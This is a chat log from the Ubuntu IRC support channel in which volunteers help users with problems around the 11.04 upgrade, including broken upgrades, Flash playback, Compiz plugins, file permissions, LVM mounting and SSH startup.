[12:54] <Lcawte> Hi, I'm in the process of upgrading to 11.04, but my PC crashed near the end of the installing new packages section, and I try to boot back in, but I just get flahing lights on my keyboard, how can I complete teh upgrade or fix it? Syslog: http://pastebin.ubuntu.com/602225/ (Its scroll log and caps lock flashin)
[12:54] <Crazy> can anyone help me??
[12:54] <ActionParsnip> pauru: then how do you expect the developers to know there is an issue if you haven't told them?
[12:54] <GeorgeJ> I'm having an issue with .ICEauthority, when logging into the gnome-shell it says it cannot update it. I've both chowned it to myself and chmodded it to 777. still nothing
[12:55] <thien> Dr_Willis: how?
[12:55] <Dr_Willis> Lcawte:  if a live cd works. I would suggest backing up your impiorntant stuff and doing a clean install.
[12:55] <Crazy> my chrome can't open video
[12:55] <Lcawte> Dr_Willis: seriously? Is there not another way?
[12:55] <Crazy> who knows why??
[12:55] <Dr_Willis> thien:  testing with script.sh vs script  and so on..  wonder if it does it with more then just bash scripts
[12:55] <Dr_Willis> Lcawte:  its going to be very hard to tell what got messed up and take a lot of time.. and perhaps 40 min to do a reinstall..
[12:56] <ActionParsnip> pauru: if people don't report bugs then things don't get fixed
[12:56] <Dr_Willis> Lcawte:  the keyboard leds flashing is the kernel not loading, or some major crash going on.
[12:56] <rach0> Crazy, open a chrome tab and type about:plugins. See if the flash plugin is located and loaded
[12:56] <Lcawte> Dr_Willis: There is now way I can back it up, I have the one disk, and I'm not messing with partitions and have LAMP running... is there not a way I can get the upgrader to finish?
[12:57] <Flippo_> Hi ! After adding a user with useradd, is there a way to create the default folder ~/.kde or ~/.gnome ?
[12:57] <jjlee> Lcawte: you don't have a backup already?
[12:57] <Dr_Willis> Lcawte:  its going to be very hard to tell what needs upgraded now. You could try chrooting into the installed system and reruning the upgrade commands. but i wouldent put much faith in that working.
[12:57] <Lcawte> jjlee: not of my stuff or anything on the server, no
[12:58] <jjlee> Lcawte: that's unfortunate
[12:58] <Crazy> rach0: it seems have nothing
[12:58] <Dr_Willis> Lcawte:  You should of made backups befor you even started.
[12:58] <ActionParsnip> Flippo_: when they log in it will be made
[12:59] <Flippo_> I want to do it before they log in ActionParsnip  :p
[12:59] <pauru> ActionParsnip, Thats true, but why i haden't ha d these problems with other distros?
[12:59] <Crazy> rach0: it is blank
[12:59] <jcmarini> jjlee: braseo and gnome burner give message; no media when i put blank dvd in
[12:59] <Dr_Willis> Lcawte:  You could try live cd and chroot in, and rerun update manager.  but ive no idea if that can work.
[12:59] <Crazy> rach0: how did it happen?
[12:59] <Lcawte> Dr_Willis: I don't have the disk space or the knowledge to play around with partitions, I would backup if I could.
[13:00] <pauru> Anyway, i'll change because i need a realtime kernel so ubuntu won't do for me anyway
[13:00] <jjlee> Lcawte: get that knowledge
[13:00] <Dr_Willis> Lcawte:  not like its really hard to plug in a extranal usb hard drive and copy imporntant files over.. thats about all the backup i do.. or use the UbuntuOne stuff for a few things.
[13:00] <graunjalj> hello , im goingo to do a home server and i like to know opinions , who is better debian or ubuntu server ?
[13:01] <Dr_Willis> graunjalj:  totally depends on what the server is doing. I imagine both will do most of what you need fine.
[13:01] <pauru> I will always love it as it was the distro that started my Linux Journey :)
[13:01] <joakim_> Hey guys. I'm having a problem when trying to use the update manager for 11.04.
[13:01] <joakim_> W:Failed to fetch http://ppa.launchpad.net/deluge-team/ppa/ubuntu/dists/natty/main/source/Sources  404  Not Found , W:Failed to fetch http://ppa.launchpad.net/deluge-team/ppa/ubuntu/dists/natty/main/binary-amd64/Packages  404  Not Found , E:Some index files failed to download. They have been ignored, or old ones used instead.
[13:01] <Lcawte> Dr_Willis: Not everyone has money to spare on the latest gadgets, and Ubuntu One is no where near big enough quota
[13:01] <Dr_Willis> Lcawte:  now you got some tough decisions ahead.
[13:01] <Dr_Willis> USB hd is a latest gadget? heh..
[13:02] <m_> !list
[13:02] <ubottu> This is not a file sharing channel (or network); be sure to read the channel topic. If you're looking for information about me, type « /msg ubottu !bot ». If you're looking for a channel, see « /msg ubottu !alis ».
[13:02] <graunjalj> okey , tx Dr_Willis
[13:02] <rach0> Crazy, sudo apt-get install flashplugin-nonfree and then "sudo cp /usr/lib/flashplugin-installer/libflashplayer.so /usr/lib/chromium-browser/plugins/
[13:02] <zvacet> joakim_: disable all third party repos before upgrade
[13:02] <rach0> Crazy, then restart Chromium
[13:02] <jjlee> Lcawte: do you have actual data on there (databases, files), or just configuration?
[13:02] <Crazy> rach0: ok,let me have a try
[13:02] <Lcawte> jjlee: on my disk? Databases, files and configuration
[13:03] <Lcawte> Dr_Willis: I have chrooted, now what command do you reckon
[13:03] <Dr_Willis> Lcawte:  whatever commands the update-manager needed.. i rarely use updates. i do clean installs mostly
[13:03] <Dr_Willis> !upgrade
[13:03] <ubottu> For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes - see also http://www.ubuntu.com/desktop/get-ubuntu/upgrade
[13:04] <jcmarini> jjlee: do some blank dvds just not get recognised because of some reason in manufacture?
[13:04] <pauru> joakim, if you want to post outputs of a terminal etc it would be  a good idea to use pastebin.com
[13:04] <ActionParsnip> rach0: could symlink instead, saves space ;)
[13:04] <madPJKfan> hi - have a bug in Empathy - won't let me add new contacts - this is a known bug, there doesn't seem to be a fix - just wondering if anyone knows how to manually add a contact - been trawling thru directories, can't seem to find a config file for this stuff...
[13:04] <joakim_> zvacet: thanks :)
[13:05] <jjlee> Lcawte: sounds like you have access to your files?  Back them up now.
[13:05] <zvacet> joakim_:np
[13:05] <shomon> hi, where can I get pdf2swf? on ubuntu 10.10 that is
[13:05] <vak> How to get Eclipse and its icon pinned to Launcher in Ubuntu 11 Unity?
[13:05] <shomon> is it in a package?
[13:06] <Lcawte> jjlee: I can't, I don't have the storage space or the knowledge of safely playing with partitions, I've already said
[13:06] <jjlee> Lcawte: no playing with partitions is needed.  Just back up *your* data -- not the whole OS
[13:06] <ActionParsnip> vak: run it, when it appears in the bar, right click it and select 'keep in launcher'
[13:06] <Dr_Willis> vak:  ive seen that asked by a few other people in here. Not seen a good answer. Perhaps check/ask on the http://askubuntu.com site.
[13:07] <Dr_Willis> I was thinking eclipse had issues with that. because of how it had a lauincher that launxched other scripts.. or somthing liek that. :)
[13:07] <jjlee> Lcawte: if you don't have *any* other storage (CD-R?), get a gmail account, tar it up, and mail it to yourself, or something
[13:07] <Lcawte> jjlee: do you expect me to go through and grab all the config files, my photos, my databases and everything? I don't have the space to do that
[13:08] <vak> ActionParsnip: No, it doesn't work any well -- 1. after the logoff-login it disappears. 2. I can't assign the correct icon (the question mark is shown instead)
[13:08] <vak> Dr_Willis: Thanks
[13:08] <c4pt> hi i was wondering if someone could help me with compiz fusion desktop effects with ubuntu natty 11.04 ive tried to use a workaround from a few different sites but i am still stuck with the problem of compiz not working right by either crashing or not working properly (i am currently using ubuntu classic instead of unity)
[13:08] <naike> Unable to install GRUBB in dev-sda  help me cant install 11.04
[13:08] <Dr_Willis> vak:  searching tha site now.. not seeing an answer.  You may want to post the question.
[13:08] <jjlee> Lcawte: If *you* don't expect yourself to do that, you're likely to eventually lose all of those things
[13:08] <GeorgeJ> Unity is bad.
[13:08] <c4pt> GeorgeJ, lol yeah
[13:08] <Dr_Willis> GeorgeJ:  demand a refund.
[13:09]  * Dr_Willis wonders if we need a #ubuntu-complaints channel.
[13:09] <pauru> Lcawte, You have to get a big external drive, this thing will save you many times and its a must
[13:09] <GeorgeJ> I'm not making a complaint, just a remark.
[13:09] <ojii> how do I change the language of my login screen?
[13:09] <blackbit> Lcawte: Thats not good. We are talking about an ubuntu problem I guess, but make your first priority to backup your data as IF your hardware should fail for whatever reason, your data would be lost anyway. This applies to Windows, to Linux and to every other Os.
[13:09] <bazhang> GeorgeJ, any support issues?
[13:10] <abhinav_singh> is there any charting tool for ubuntu which read the excel files and chart time..openoffice chart interface is not good as compared to mac office and windows
[13:10] <Dr_Willis> Hard drives - i find - are the weakest part of the hardware  these days.   They seem to get worse every year.. but they are getting much more denser and compelx i guess.. and cheaper.
[13:10] <vak> Dr_Willis: http://askubuntu.com/questions/35625/how-do-i-make-unity-remember-which-applications-are-in-the-launcher
[13:10] <duanedesign> 5~5/8
[13:10] <dd214> is there a way in 11.04 to disable Unity?  It appears to be causing problems with my VMWare Workstation
[13:10] <ojii> dd214, yes
[13:10] <GeorgeJ> Not related to Unity, no. Unity works just fine
[13:10] <Dr_Willis> vak:  it does work with otehr apps? just not Eclipse?
[13:10] <ojii> dd214, on login you can select whether to boot into unity or plain old gnome
[13:10] <pauru> ojii go to system/Administration/language  support
[13:11] <Lcawte> blackbit: I am planning to additional drives to start backing stuff up when I get some money in, but I can't do that yet
[13:11] <GeorgeJ> I've had some problems installing gnome-shell, but I think I've fixed it now
[13:11] <ojii> pauru, I did, but the language i chose there is not the one showing up on login
[13:11] <dd214> ojii,  As of today, that menu at the bottom of the login screen is no longer available to me
[13:11] <c4pt> can anyone point me somewhere , where i can get compiz fusion working properly with ubuntu classic on 11.04 ?
[13:11] <m4k> how do I connect with windows pc with its name from ubuntu
[13:11] <ojii> pauru, my language after login is English (as it should be), but in login it's Japanese
[13:12] <ojii> dd214, oh, you can change the default in the login screen settings though
[13:12] <ramshot> Heya, 11.04 seems great but I'm flipping out because I can't find where to change the shift-alt-up shortcut, which is basically "expo for current workspace only"
[13:12] <Dr_Willis> c4pt:  on the login screen. i thought ther ewas a 'classic' and 'classic without effects' (or was it with effects?)  You do have the proper 3d drivers installed?
[13:12] <ActionParsnip> m4k: can you expand on "connect"
[13:12] <ramshot> Anyone know where I can change it, if anywhere?
[13:12] <Dr_Willis> ramshot:  it would be a setting in the CCSM tool.
[13:12] <Dr_Willis> !ccsm
[13:12] <ubottu> To enable advanced customization of desktop effects in Ubuntu: install 'compizconfig-settings-manager' or 'simple-ccsm'. If you install the latter, a new option will appear in your appearance properties - See also !compiz - Help in #compiz
[13:12] <Crazy> rach0: it didn't work...
[13:12] <vak> Dr_Willis: with applications that are installed with Ubuntu it works fine.
[13:12] <dd214> ojii, once I've logged in, where can I disable Unity?
[13:12] <ramshot> Dr_Willis: Yeah, I have that, but I can't find it anywhere. I can only find the super+w one under the expo plugin, but that does expo for all apps.
[13:12] <pauru> ojii there is a small box which says Apply system wide, did you push that? xD
[13:12] <champ__> running ubuntu 10.10 with restricted extras amd medi ubuntu win32codec installed . problem is i cannot paly videos from apple .com
[13:12] <jcmarini> why is a blank dvd not showing on desktop but cd is ok?
[13:12] <c4pt> Dr_Willis, yes i am using ubuntu classic (the one with effects) and the nvidia binary driver from nvidia (with the module recompiled for the current 11.04 kernel)
[13:13] <hamnegga> you need to install the plugins packages for compiz
[13:13] <ActionParsnip> dd214: log in to gnome classic and it won't load
[13:13] <Dr_Willis> vak:  So you may want to post a eclipse specifc question. I think its how eclipse sets up its env. and launches thats teh issue.
[13:13] <vak> Dr_Willis: in contrast, Eclipse was just a unpack-and-go java application
[13:13] <c4pt> Dr_Willis, but when i enable compiz it doesnt run properly or it crashes
[13:13] <GeorgeJ> Oh, I'm still having problems with my .ICEauthority file after installing the gnome-shell. I've chowned it to myself and also chmodded it to 777. It still complains that the file cannot be updated. Deleting it does not work either. What could I do next?
[13:13] <hamnegga> anyone here use pyrit with the latest available kernel?
[13:13] <m4k> ActionParsnip: actually My  SVN server is on windows machine I'm not able to checkout with pc name, and the network is using DHCP
[13:13] <dd214> ActionParsnip how do I do that?
[13:13] <Crazy> rach0: it says my shockwave flash has collapse
[13:13] <c4pt> Dr_Willis, or i get a skewed desktop
[13:13] <Dr_Willis> c4pt:  interesting. Im using nvidia drivers from the repos. I had the compiz stuff with no changes needed I think.
[13:14] <zvacet> dd214: under sessionchoose ubunut classic
[13:14] <ActionParsnip> dd214: login screen, click your username then select gnome classic frmo drop down
[13:14] <smartux> any software that mimics a marker board?
[13:14] <hamnegga> Dr_Willis, man up and use the real nvidia drivers
[13:14] <champ__> running ubuntu 10.10 with restricted extras amd medi ubuntu win32codec installed . problem is i cannot paly videos from apple .com
[13:14] <ShawnRisk> I am using 11.04 and there are a few adjustments I want to make but can't figure out how.  First how do I remove the dock on the left side, and leave just which windows are open?
[13:14] <ActionParsnip> smartux: gpaint maybe
[13:14] <Dr_Willis> hamnegga:  i dont need to for my 6150SE in this box..
[13:14] <hamnegga> download mplayer plugin for firefox ShawnRisk
[13:14] <ActionParsnip> ShawnRisk: log off and log into gnome classic
[13:14] <c4pt> Dr_Willis, did you install 11.04 clean or did you run a dist-upgrade from update-manager -d ?
[13:14] <dd214> I guess no one read where I stated that menu "Does Not" display from my login screen
[13:14] <Dr_Willis> c4pt:  i almost always do clean installs.
[13:15] <dd214> is there an alternative to Disabling Unity "Other than the login screen"?
[13:15] <Dr_Willis> c4pt:  so these are clean
[13:15] <c4pt> Dr_Willis, this is on a dist-upgrade (-d)
[13:15] <blackbit> dd214, first selet a user
[13:15] <rach0> Crazy, does it loads other plugins?
[13:15] <blackbit> dd214: then menu should appear, as long as the password box appear
[13:15] <Dr_Willis> dd214:  start a differnt window manager via editing your .dmrc perhaps. :)
[13:15] <c4pt> Dr_Willis, on the alpha 3 compiz was working
[13:15] <sata> how to install ati 5770 dribers in ubuntu 11.0.4
[13:15] <sata> ?
[13:15] <dd214> blackbit, thnx will verify
[13:15] <zvacet> dd2
[13:15] <Dr_Willis> c4pt:  i even do clean reinstalls from beta. Just to keep things cleaner.
[13:15] <c4pt> Dr_Willis, i reinstalled to 10.10 and now 11.04 final came out and i ran dist-upgrade compiz broke after the install
[13:15] <champ__> running ubuntu 10.10 with restricted extras amd medi ubuntu win32codec installed . problem is i cannot play videos from apple .com
[13:15] <blackbit> dd214: It will work ;)
[13:16] <c4pt> Dr_Willis, any suggestions? :/
[13:16] <sata> about:startpage]
[13:16] <ShawnRisk> ActionParsnip: I can't do this with the current one?
[13:16] <sata> ?
[13:16] <zvacet> dd214: so you have no choice on login screen
[13:16] <sata> the driver is not installing
[13:16] <sata> any help
[13:16] <sata> ?
[13:16] <Dr_Willis> c4pt:  not really. Ive had no issues with the drivers. or compiz here.
[13:16] <hamnegga> c4pt did compiz really break or did you not have a startup item for it anymore, like compiz.real --replace
[13:16] <blackbit> zvacet, the menu in wich you can choose gnome or unity appear only when you select a user from the list...
[13:17] <rach0> Crazy, open a terminal and type -> chromium-browser --enable-plugins
[13:17] <c4pt> hamnegga, like i said compiz broke even with the startup item i made compiz --replace & in startup
[13:17] <hamnegga> strange, even with driver workingn still
[13:17] <Azize> Hello, witch package is necessary to install to enable personal file sharing?
[13:17] <ActionParsnip> Azize: samba
[13:18] <c4pt> hamnegga, i tried pulling all the compiz packages out and reinstalling them i get a skewed desktop or it panics or i get strange effects that its not supposed to do (abnormal activity from it that is a pita)
[13:18] <gaurav_help> pen drive is getting disconnect when i put in my system ubuntu 10.10
[13:18] <zvacet> blackbit: ok but he is telling there is no such thing
[13:18] <blackbit> zvacet: wait for he to report back ;)
[13:18] <Dr_Willis> c4pt:  clarify what you mean by Skewed.
[13:18] <zvacet> blackbit: and that is strange
[13:18] <ojii> pauru, yep, several times
[13:18] <Azize> I already installed samba and smbfs packages, but chackbox still disabled.
[13:18] <c4pt> hamnegga, and i dont really feel like going back to ubuntu 10.10 (since downgrading means really a clean install) i rather keep moving forward instead of backwards
[13:19] <hamnegga> c4pt, I would try recompiling my driver manually, since you probably are using a different one with an updated kernel
[13:19] <champ__> running ubuntu 10.10 with restricted extras amd medi ubuntu win32codec installed . problem is i cannot play videos from apple .com
[13:19] <c4pt> Dr_Willis, like on terminal the top of the menu bar disappears and i cant move the window or it rips icons out of firefox making it a major pita to use
[13:19] <champ__> help
[13:19] <hamnegga> champ__ you were the one I meant to say download mplayer plugin for firefox
[13:19] <Flippo_> Hi ! After adding a user with useradd, is there a way to create the default folder ~/.kde or ~/.gnome (before they log in) ?
[13:19] <Crazy> rach0: i typed chromium-browser --enable-plugins in the terminal ,it opens another chrome windows
[13:20] <hamnegga> mkdri
[13:20] <pauru> ojii, damn...maybe its a bug then xD
[13:20] <hamnegga> mkdir I mean
[13:20] <rach0> Crazy, yes it does, now in the new window can you run flash videos?
[13:20] <ojii> pauru, also some shell commands (eg mysql/postgres) show Japanese UI
[13:20] <pauru> ojii thats cool xD
[13:21] <ojii> pauru, it is, and most of the time I don't mind
[13:21] <Crazy> rach0: sorry ,it can't ...
[13:21] <adzy> hello all
[13:21] <ojii> pauru, but when other people try to do shit on my machine they're usually a bit confused
[13:21] <zvacet> Flippo_:  I don't know what are you need it for because every user make his home folder
[13:21] <pauru> ojii nice ;)
[13:21] <bazhang> ojii, no cursing
[13:21] <c4pt> Dr_Willis, hamnegga i had it working for a moment a few hours ago when i made  a new user account but when i enabled composite and opengl in compizconfig-settings-manager it broke again
[13:21] <ojii> bazhang, oh, sorry
[13:21] <janolap1> Hi everybody, I have a problem with one of my ubuntu 8.04 server. Someone has done something (maybe she has delete a file) and now the server doesn't boot, showing the error : grub loading please wait error 15. And the server is configurated with LVM. I have booted with rescueCD but don't know what to do. Can you help me, please ?
[13:22] <ojii> pauru, I probably should just look at it as a security "feature" ;-)
[13:22] <Crazy> rach0: it also says the plugin of shackwave flash is collapse
[13:22] <pauru> ojii ;)
[13:22] <Dr_Willis> janolap1:  some user with sudo rights has accidently deleted some system files?, are you sure of this?
[13:22] <hamnegga> yeah, your just enabling a plugin that it can't handle c4pt, you need to find out how to clear your plugin selections or remove, purge your compiz packages and replace
[13:22] <GeorgeJ> I'm getting an error when trying to login, "Could not update ICEauthority file /home/gjiglau/.ICEauthority". How could I fix this?
[13:22] <chingwa> hey, can any one help me on how to download ubuntu packages
[13:23] <ojii> chingwa, what's the problem?
[13:23] <janolap1> Dr_Willis : I really don't know what the user with sudo did (and she's not here until thursday).
[13:23] <ojii> is there a way to change the shortcuts in the launcher? I won't ever need "view photos", so I'd like to replace it with something that is useful to me
[13:23] <ActionParsnip> GeorgeJ: run:   sudo chown gjiglau:gjiglau /home/gjiglau/.ICEauthority
[13:23] <zvacet> chingwa: you don't have internet on Ubuntu comp
[13:23] <GeorgeJ> janolap1: try checking out .bash_history in her home folder
[13:24] <adzy>  anyone know how to remote control my server? its only got windows 2008 and i want ubuntu server edition on it but i dont have a screen
[13:24] <lemorek> i try to upgrade ubuntu 10.10-11.04, and python2.7-minimal could not be upgraded because "E: pycompile:240: Requested versions are not installed". i only change maverick to natty in /etc/apt/sources.list
[13:24] <Crazy> rach0: now what can i do?
[13:24] <Dr_Willis> actually dosent sudo have some sort of logging feature to show all sudo-ran commands?
[13:24] <janolap1> GeorgeJ : I would like to, but I don't know how to mount lvm volume in rescue CD... I did lvm and lvdisplay
[13:24] <ikonia> lemorek: that's your problem then
[13:24] <milen8204> sudo mount -t ext4 /dev/sda6 /home
[13:24] <milen8204> mount: wrong fs type, bad option, bad superblock on /dev/sda6,
[13:24] <milen8204>        missing codepage or helper program, or other error
[13:24] <milen8204>        In some cases useful info is found in syslog - try
[13:24] <milen8204>        dmesg | tail  or so
[13:24] <GeorgeJ> ActionParsnip: That doesn't solve the issue, nor did chmod 777, nor deleting the file. I should mention that I've just installed gnome-shell after upgrading from 10.10 to 11.04
[13:24] <FloodBot3> milen8204: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[13:24] <abhinav_singh> hello guys..hows the 11.04....did any one try?
[13:24] <ActionParsnip> lemorek: that's not how you upgrade
[13:24] <shomon> can I get pdf2swf on ubuntu 10.10 within an apt package?
[13:24] <ActionParsnip> !upgrade | lemorek
[13:24] <ubottu> lemorek: For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes - see also http://www.ubuntu.com/desktop/get-ubuntu/upgrade
[13:25] <ikonia> lemorek: that's not how you upgrade
[13:25] <bazhang> abhinav_singh, yes
[13:25] <Dr_Willis> adzy:  you can ssh into a server and controll it that way. or set up vnc/freenx/other things
[13:25] <ikonia> abhinav_singh: it's fine
[13:25] <smartux> is kde more powerful than gnome?
[13:25] <hamnegga> why does everyone insist on attempting to upgrade instead of reinstalling, your bound for trouble
[13:25] <ikonia> no
[13:25] <Dr_Willis> smartux:  more flexiable and configurable..
[13:25] <zvacet> lemorek: and you didn't update maverick before upgrade?
[13:25] <lemorek> ok, so i revert to maverick, and use the synaptic
[13:25] <bazhang> smartux, #ubuntu-offtopic to discuss
[13:25] <adzy> Dr_Willis, what do i need to ssh?
[13:25] <Dr_Willis> smartux:  also easier to get lost in. :)
[13:25] <c4pt> hamnegga, bbiab
[13:25] <abhinav_singh> bazhang ikonia are you using ubuntu for development purpose?
[13:25] <jcmarini> blank dvd not showing- but cd is-why?
[13:25] <Dr_Willis> adzy:  a ssh server. and know how - of how to use ssh.
[13:25] <ActionParsnip> smartux: no, its equally powerful
[13:25] <hamnegga> bbiab?
[13:25] <viks> udisks alternate in 9.04
[13:25] <MagePsycho> hi guys..
[13:26] <Dr_Willis> !ssh | adzy
[13:26] <ubottu> adzy: SSH is the Secure SHell protocol, see: https://help.ubuntu.com/community/SSH for client usage. PuTTY is an SSH client for Windows; see: http://www.chiark.greenend.org.uk/~sgtatham/putty/ for it's homepage. See also !scp (Secure CoPy) and !sshd (Secure SHell Daemon)
[13:26] <MagePsycho> i am new to ubuntu
[13:26] <lemorek> hamnegga: because it is proper way of using OS
[13:26] <c4pt> hamnegga, cube and rotate cube are working but my open windows like xchat and terminal are missing the very top of the window like where you would grab with the mouse to move the window
[13:26] <ActionParsnip> lemorek: if you upgrade in a bad way you will get issues, there is a method to upgrading
[13:26] <ActionParsnip> shomon: is it not in the partner repo?
[13:26] <adzy> Dr_Willis, thanks doc ;)
[13:26] <lemorek> ActionParsnip: what method ?
[13:26] <shomon> sorry ActionParsnip I wouldn't know... I'm just looking at http://designbye.wordpress.com/2010/02/23/installing-swftools-and-pdf2swf-on-ubuntu-linux/
[13:26] <hamnegga> you need to enable window decoration plugin c4pt
[13:27] <shomon> I did sudo apt-get install swftools and it found nothing
[13:27] <c4pt> hamnegga, thanks
[13:27] <c4pt> hamnegga, now the top of the window is back but i cant physically move the windows around
[13:27] <MagePsycho> ubuntu official site?
[13:28] <bazhang> MagePsycho, www.ubuntu.com
[13:28] <janolap1> GeorgeJ : Can you help me to mount lvm to access files ?
[13:28] <ActionParsnip> !upgrade | lemorek
[13:28] <ubottu> lemorek: For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes - see also http://www.ubuntu.com/desktop/get-ubuntu/upgrade
[13:28] <hamnegga> c4pt think a little, move windows plugin maybe?
[13:28] <Dr_Willis> weird that all those plugins are disabled..
[13:28] <ActionParsnip> shomon: add the repo and you will be able to install it like any other app
[13:28] <MagePsycho> http://www.ubuntu.com/download/ubuntu/download
[13:28] <chingwa> zvacent, I have internet. I fail to play mp3 files. When i try to search for some packages online, errors occur. What should I do?
[13:28] <MagePsycho> so i need to download from that link: http://www.ubuntu.com/download/ubuntu/download
[13:28] <abhinav_singh> bazhang ikonia are you using ubuntu for development purpose?
[13:28] <GeorgeJ> janolap1: http://www.brandonhutchinson.com/Mounting_a_Linux_LVM_volume.html
[13:28] <MagePsycho> and make it bootable and install?
[13:28] <milen8204> a little help whit that: sudo mount -t ext3 /dev/sda6 /home
[13:28] <Azize> Is there any other package to be installed to enable personal file sharing. I installed samba and smbfs.
[13:28] <hamnegga> Yeah, I only noticed it in my last install (having to re-enable all the plugins in compiz)
[13:29] <milen8204> i cant mount it :(
[13:29] <MagePsycho> i am new to ubuntu so
[13:29] <Dr_Willis> MagePsycho:  you burn the iso to disk properly. and it will be bootable.
[13:29] <Dr_Willis> !burn
[13:29] <ubottu> CD/DVD burning software: k3b (KDE), brasero (GNOME), gnomebaker, xcdroast, wodim (command-line) | To burn ISO files, see https://help.ubuntu.com/community/BurningIsoHowto
[13:29] <shomon> thanks ActionParsnip
[13:29] <janolap1> GeorgeJ : thank you ! I'll read it !
[13:29] <MagePsycho> thanks
[13:29] <milen8204> anyone can help ?
[13:29] <c4pt> hamnegga, :( ?
[13:29] <zvacet> chingwa: from ubunutu software center install ubuntu restricted extras
[13:29] <hamnegga> c4pt:  what?
[13:29] <Dr_Willis> milen8204:  any error messages?
[13:29] <MagePsycho> any pre-requisites for installing in Dell Studio 1569 ?
[13:29] <c4pt> hamnegga, selecting move on the window doesnt help either (not in plugins but actually right clicking and selecting move)
[13:30] <Dr_Willis> MagePsycho:  it sould work in most machines.. the cd is also a 'live cd' you can test befor you install
[13:30] <rpk> I can't seem to connect to application servers hosted on my machine from other machines, however, I can connect from my machine to other machines.  any ideas?  I can ping remotely to my machine though.
[13:30] <hamnegga> c4pt did you enable the move windows plugin?
[13:30] <c4pt> hamnegga, i see it
[13:30] <milen8204> Dr_Willis, yes wrong fs type, bad option, bad superblock on /dev/sda6, missing codepage or helper program, or other error
[13:30] <rpk> (worked on 10.10, broken when updated to 11.04)
[13:30] <c4pt> hamnegga, yes makes sense
[13:30] <milen8204> so on
[13:30] <c4pt> hamnegga, lol
[13:30] <GeorgeJ> janolap1: http://www.linuxquestions.org/questions/fedora-35/how-can-i-mount-lvm-partition-in-ubuntu-569507/ might also help
[13:30] <c4pt> hamnegga, thanx
[13:30] <Dr_Willis> milen8204:  thats the generic 'it failed' message
[13:30] <hamnegga> may need to also select resize window, etc.
[13:31] <ActionParsnip> rpk: what are you connecting to achieve? "connect" doesn't tell us much
[13:31] <milen8204> Dr_Willis, sudo fdisk -l : /dev/sda1   *           1        6687    53709824   83  Linux
[13:31] <milen8204> /dev/sda2            6687       60802   434674689    5  Extended
[13:31] <milen8204> /dev/sda5            6687        7781     8787968   82  Linux swap / Solaris
[13:31] <milen8204> /dev/sda6            7781       60802   425885696   83  Linux
[13:31] <FloodBot3> milen8204: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[13:31] <c4pt> hamnegga, thank you
[13:31] <Dr_Willis> milen8204:  could be a bad/currupted filesystem also. fsck it perhaps.
[13:31] <c4pt> hamnegga, ill bbl or bbiab
[13:31] <rpk> ActionParsnip: trying to connect over java rmi, or to a weblogic application console (port 7001)
[13:31] <hamnegga> rpk, maybe you need to setup port forwarding on your router
[13:31] <c4pt> hamnegga, i appreciate it thank you!
[13:31] <hamnegga> no problem
[13:32] <milen8204> Dr_Willis, /dev/sda6            7781       60802   425885696   83  Linux
[13:32] <rpk> hamnegga: it worked on 10.10
[13:32] <ActionParsnip> rpk: can you telnet to the port from ubuntu? Can you ping the server system's IP?
[13:32] <Dr_Willis> milen8204:  try without the -t also.
[13:32] <milen8204> Dr_Willis,  ok
[13:32] <shomon> hmm ActionParsnip - sorry but what repository should I turn on? I'm in synaptic, trying to get swftools...
[13:32] <chingwa> ojii, I cant play videos and audio files
[13:32] <hamnegga> there are many different scenarios for that issue.  Are you trying a dns resolve?  Do you use dns services that need to be refreshed?  Maybe your public ip has changed, etc.
[13:32] <marel> I've upgraded to 11.04, however I don't like the main toolbar being on the left, is there any way to change back to the old toolbar ?
[13:32] <milen8204> Dr_Willis, i think I did it :D
[13:32] <rpk> Actionparsnip: I can ping the server machine, yes
[13:32] <c4pt> hamnegga, i knew compiz did desktop effects but i didnt realize it grabbed control of the entire desktop like that and if its a totally fresh config or a non working config; i didnt realize stuff like that had to be selected since i am used to installing enabling two or three things and usually leaving it the way it is
[13:33] <ActionParsnip> marel: log off and log in to gnome classic
[13:33] <bazhang> marel, choose classic at login window
[13:33] <hamnegga> maybe you need to chown your apache directory or whatever service your running
[13:33] <mikeatvillage> I have dual boot (xubuntu & lubuntu) and want to swap the default in Grub2. I have tried a couple of Grub managers but can't get them to make the change... any recommendations?
[13:33] <GeorgeJ> shomon: https://help.ubuntu.com/community/SWFTools
[13:33] <ActionParsnip> rpk: can you telnet to the socket?
[13:33] <milen8204> Dr_Willis, Could not open location 'file:///home/millen'
[13:33] <shomon> thanks GeorgeJ
[13:33] <rpk> ActionParsnip: just a sec, trying to find a vm that has telnet installed
[13:33] <drMike> https://gist.github.com/951537
[13:33] <ojii> chingwa, locally? try `sudo apt-get install smplayer`
[13:33] <drMike> would line 7 work?
[13:34] <drMike> this is a 10.04 LTS issue
[13:34] <milen8204> Dr_Willis, if I reboot my PC may crash :D
[13:34] <ojii> chingwa, do no videos work or only some?
[13:34] <ActionParsnip> mikeatvillage: why do you have the OS installed twice, you can have lxde installed on xubuntu and choose lxde at login time
[13:34] <drMike> most solutions I see are suggesting http://blog.roberthallam.org/2010/06/sshd-not-running-at-startup/
[13:34] <drMike> start on filesystem and net-device-up IFACE=eth0
[13:34] <mikeatvillage> ActionParsnip: I want the 2 OS to be completely separate.
[13:35] <ActionParsnip> mikeatvillage: reasonable, ive seen folks do it, just wasnt sure you were aware :)
[13:35] <janolap1> GeorgeJ : I think she did a recursive rm... too bad !
[13:35] <gaurav_help> how i sniff usb traficc in ubuntu
[13:35] <bazhang> gaurav_help, usb traffic?
[13:35] <GeorgeJ> drMike: If you are having problems with SSH not starting at boot. Try checking if /etc/init.d/ssh is executable
[13:36] <mikeatvillage> ActionParsnip: I wasn't actually aware :-)  But, what I've done is what I need for the moment.
[13:36] <rpk> ActionParsnip: Can't telnet either
[13:36] <gaurav_help> bazhang, like usbmon
[13:36] <janolap1> GeorgesJ : There is nothing (or so few) in the system. Thank you for your help...
[13:37] <drMike> GeorgeJ:  this is a standard bug for 10.04 I think
[13:37] <GeorgeJ> janolap1: My suggestion would be to backup everything you have and do a complete reinstall
[13:37] <drMike> https://bugs.launchpad.net/ubuntu/+source/openssh/+bug/216847
[13:37] <ubottu> Ubuntu bug 216847 in openssh (Ubuntu) "sshd will not start at boot if ListenAddress is set, because network interface is not yet up" [Low,Confirmed]
[13:37] <GeorgeJ> drMike: SSH not starting? Doubtfull
[13:37] <drMike> see link :)
[13:37] <janolap1> GeorgesJ : I have to do this... but what a waste of time !
[13:38] <milen8204> Dr_Willis, noting happend
